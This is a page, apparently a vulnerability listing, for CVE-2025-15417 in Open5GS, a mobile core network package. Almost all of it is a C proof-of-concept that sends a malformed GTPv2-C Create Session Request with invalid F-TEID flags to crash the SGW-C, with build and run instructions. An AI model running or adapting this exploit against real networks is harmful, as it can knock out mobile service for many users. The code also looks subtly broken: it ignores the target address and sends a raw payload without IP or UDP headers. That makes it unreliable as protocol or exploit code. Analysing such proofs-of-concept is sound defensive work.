CVE-2025-15417 Open5GS GTPv2-C F-TEID Handler 拒绝服务漏洞

/* * CVE-2025-15417 PoC - Open5GS SGWC GTPv2-C F-TEID DoS * This PoC demonstrates sending a malformed GTPv2-C Create Session Request * with crafted F-TEID to trigger denial of service in Open5GS. * * Usage: gcc -o poc poc.c -lsocket -lnet -lpcap * Run as: sudo ./poc <target_ip> */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <pcap.h> #define GTPV2C_PORT 2123 #define CREATE_SESSION_REQUEST 32 /* GTPv2-C Header */ typedef struct { uint8_t version:3; uint8_t piggyback:1; uint8_t teid_present:1; uint8_t spare:3; uint8_t message_type; uint16_t message_length; uint32_t teid; uint32_t sequence; uint8_t spare2[3]; } __attribute__((packed)) gtpv2c_header_t; /* F-TEID IE */ typedef struct { uint8_t type; uint16_t length; uint8_t flags; uint8_t f_teid_data[10]; } __attribute__((packed)) f_teid_ie_t; void send_malformed_packet(pcap_t *handle, char *target_ip) { unsigned char packet[256]; gtpv2c_header_t *gtp_hdr = (gtpv2c_header_t *)packet; f_teid_ie_t *f_teid = (f_teid_ie_t *)(packet + sizeof(gtpv2c_header_t)); /* Craft GTPv2-C Create Session Request */ gtp_hdr->version = 2; gtp_hdr->piggyback = 0; gtp_hdr->teid_present = 1; gtp_hdr->spare = 0; gtp_hdr->message_type = CREATE_SESSION_REQUEST; gtp_hdr->teid = 0; gtp_hdr->sequence = 0x000001; /* Malformed F-TEID with invalid flags */ f_teid->type = 0x57; /* F-TEID IE type */ f_teid->length = htons(9); f_teid->flags = 0xFF; /* Invalid flags to trigger vulnerability */ gtp_hdr->message_length = htons(sizeof(f_teid_ie_t) + 4); /* Send packet */ pcap_sendpacket(handle, packet, sizeof(gtpv2c_header_t) + sizeof(f_teid_ie_t)); printf("[+] Malformed GTPv2-C Create Session Request sent\n"); } int main(int argc, char *argv[]) { if (argc != 2) { fprintf(stderr, "Usage: %s <target_ip>\n", argv[0]); return 1; } char errbuf[PCAP_ERRBUF_SIZE]; pcap_t *handle = pcap_open_live("any", 65535, 1, 1000, errbuf); if (handle == NULL) { fprintf(stderr, "Error opening pcap: %s\n", errbuf); return 1; } send_malformed_packet(handle, argv[1]); pcap_close(handle); return 0; }